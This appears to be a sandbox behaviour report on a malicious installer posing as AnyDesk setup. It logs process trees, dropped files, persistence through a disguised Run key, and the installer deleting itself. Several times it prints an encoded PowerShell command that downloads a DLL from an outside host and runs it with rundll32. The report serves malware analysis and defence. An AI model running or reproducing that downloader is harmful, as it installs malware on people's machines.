JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAEwAaQB0AGUAcwBvAGYAdABcAEkAbgBzAHQAYQBsAGwAIgApAC4AUABhAHQAaAAgAC0AbABlAGEAZgA7AA0ACgAkAGQAaQByACAAPQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAOwANAAoAJABmAG4AIAA9ACAAJABkAGkAcgAgACsAIAAiAFwAIgAgACsAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAeAA4ACIAKQAgACsAIAAiAC4AZABhAHQAIgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGQAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC0AYwBkAG4ALgBjAG8AbQAiADsADQAKACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAIAArACAAIgAvAGQAbwB3AG4AbABvAGEAZAAuAHAAaABwAD8AZgA9AEwAZAByAHAALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA==
Source: unknown	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAEwAaQB0AGUAcwBvAGYAdABcAEkAbgBzAHQAYQBsAGwAIgApAC4AUABhAHQAaAAgAC0AbABlAGEAZgA7AA0ACgAkAGQAaQByACAAPQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAOwANAAoAJABmAG4AIAA9ACAAJABkAGkAcgAgACsAIAAiAFwAIgAgACsAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAeAA4ACIAKQAgACsAIAAiAC4AZABhAHQAIgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGQAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC0AYwBkAG4ALgBjAG8AbQAiADsADQAKACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAIAArACAAIgAvAGQAbwB3AG4AbABvAGEAZAAuAHAAaABwAD8AZgA9AEwAZAByAHAALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA==
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",DllRegisterServer
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",DllRegisterServer
Source: unknown	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",#2
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",#2
Source: unknown	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",#2
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",#2
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 98DB8D4E6DAAAA17E94E76B65ACF188B	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\Installer\MSI5344.tmp "C:\Windows\Installer\MSI5344.tmp" /DontWait /HideWindow powershell.exe -Exec Bypass -enc JABmAHIAbwBtACAAPQAgAFMAcABsAGkAdAAtAFAAYQB0AGgAIAAoAEcAZQB0AC0ASQB0AGUAbQBQAHIAbwBwAGUAcgB0AHkAIAATIFAAYQB0AGgAIAAiAEgASwBDAFUAOgBcAFMATwBGAFQAVwBBAFIARQBcAEwAaQB0AGUAcwBvAGYAdABcAEkAbgBzAHQAYQBsAGwAIgApAC4AUABhAHQAaAAgAC0AbABlAGEAZgA7AA0ACgAkAGQAaQByACAAPQAgACQAZQBuAHYAOgBwAHIAbwBnAHIAYQBtAGQAYQB0AGEAOwANAAoAJABmAG4AIAA9ACAAJABkAGkAcgAgACsAIAAiAFwAIgAgACsAIAAoAEcAZQB0AC0AUgBhAG4AZABvAG0AKQAuAFQAbwBTAHQAcgBpAG4AZwAoACIAeAA4ACIAKQAgACsAIAAiAC4AZABhAHQAIgANAAoAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7AA0ACgAkAGQAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AZABvAHcAbgBsAG8AYQBkAC0AYwBkAG4ALgBjAG8AbQAiADsADQAKACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAGQAIAArACAAIgAvAGQAbwB3AG4AbABvAGEAZAAuAHAAaABwAD8AZgA9AEwAZAByAHAALgBkAGwAbAAmAGYAcgBvAG0APQAiACAAKwAgACQAZgByAG8AbQAsACAAJABmAG4AKQA7AA0ACgAkAHIAYQB3ACAAPQAgACIATQBaACIAIAArACAAKABHAGUAdAAtAEMAbwBuAHQAZQBuAHQAIAAtAFAAYQB0AGgAIAAkAGYAbgAgAC0AUgBhAHcAKQAuAFIAZQBtAG8AdgBlACgAMAAsACAAMgApADsADQAKAFMAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACgAJABmAG4AKQAgAC0ATgBvAE4AZQB3AGwAaQBuAGUAIAAtAFYAYQBsAHUAZQAgACQAcgBhAHcADQAKAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgAHIAdQBuAGQAbABsADMAMgAuAGUAeABlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJwAiACcAIAArACAAJABmAG4AIAArACAAJwAiACwARABsAGwAUgBlAGcAaQBzAHQAZQByAFMAZQByAHYAZQByACcAKQA7AA==	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",DllRegisterServer	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",DllRegisterServer	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",#2	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",#2

Source: C:\Windows\Installer\MSI5344.tmp

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{00020424-0000-0000-C000-000000000046}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File created: C:\Windows\TEMP\~DF1D4225E8A4DE5B08.TMP

Jump to behavior

Source: C:\Windows\Installer\MSI5344.tmp

Code function: 3_2_00007FF7AF6D5EC0 CoInitialize,CoCreateInstance,VariantInit,IUnknown_QueryService,IUnknown_QueryInterface_Proxy,IUnknown_QueryInterface_Proxy,CoAllowSetForegroundWindow,SysAllocString,SysAllocString,VariantInit,LocalFree,LocalFree,SysAllocString,OpenProcess,WaitForSingleObject,GetExitCodeProcess,CloseHandle,LocalFree,VariantClear,VariantClear,VariantClear,VariantClear,SysFreeString,VariantClear,CoUninitialize,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

3_2_00007FF7AF6D5EC0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\Installer\MSI5344.tmp

Code function: 3_2_00007FF7AF6D4D20 CreateToolhelp32Snapshot,CloseHandle,Process32FirstW,OpenProcess,LocalFree,LocalFree,CloseHandle,Process32NextW,CloseHandle,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

3_2_00007FF7AF6D4D20

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" "C:\ProgramData\435f8fae.dat",DllRegisterServer

Source: AnydeskSetup_26b30163.msi

Static file information: TRID: Microsoft Windows Installer (77509/1) 52.18%

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5940:120:WilError_01

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: AnydeskSetup_26b30163.msi

Static file information: File size 11544064 > 1048576

Source:	Binary string: C:\ReleaseAI\win\Release\custact\x64\viewer.pdb> source: MSI5344.tmp, 00000003.00000000.334329335.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmp, MSI5344.tmp, 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmp, AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\SoftwareDetector.pdbb source: AnydeskSetup_26b30163.msi, 4641a8.msi.1.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x64\viewer.pdb source: MSI5344.tmp, 00000003.00000000.334329335.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmp, MSI5344.tmp, 00000003.00000002.336937187.00007FF7AF735000.00000002.00000001.01000000.00000003.sdmp, AnydeskSetup_26b30163.msi, MSI5344.tmp.1.dr, 4641a8.msi.1.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\SoftwareDetector.pdb source: AnydeskSetup_26b30163.msi, 4641a8.msi.1.dr
Source:	Binary string: C:\ReleaseAI\win\Release\custact\x86\AICustAct.pdb source: AnydeskSetup_26b30163.msi, 4641a8.msi.1.dr, MSI4B9F.tmp.1.dr, MSI494B.tmp.1.dr

Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF6EF35E push rbp; iretd	3_2_00007FF7AF6EF35F
Source: C:\Windows\Installer\MSI5344.tmp	Code function: 3_2_00007FF7AF6EE1E2 push rbp; iretd	3_2_00007FF7AF6EE1E3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_00007FF8160503CA pushad ; iretd	4_2_00007FF8160503CB

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 7_2_10001A90 WTSEnumerateSessionsA,SetErrorMode,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,GetProcAddress,

7_2_10001A90

Source: MSI5344.tmp.1.dr

Static PE information: section name: _RDATA

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\System32\msiexec.exe

Executable created and started: C:\Windows\Installer\MSI5344.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\ProgramData\435f8fae.dat

Jump to dropped file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File created: C:\ProgramData\435f8fae.dat	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI48BD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI49E8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4B9F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI494B.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5344.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4755.tmp	Jump to dropped file

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI48BD.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI49E8.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4B9F.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI494B.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI5344.tmp	Jump to dropped file
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSI4755.tmp	Jump to dropped file

Source: C:\Windows\SysWOW64\rundll32.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_074112c558cd4b6f62f9637e863e9916			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run MicrosoftEdgeAutoLaunch_074112c558cd4b6f62f9637e863e9916			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\SysWOW64\rundll32.exe

File deleted: c:\users\user\desktop\anydesksetup_26b30163.msi

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

7_2_10001A90

Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process information set: NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\rundll32.exe	Process information set: NOOPENFILEERRORBOX
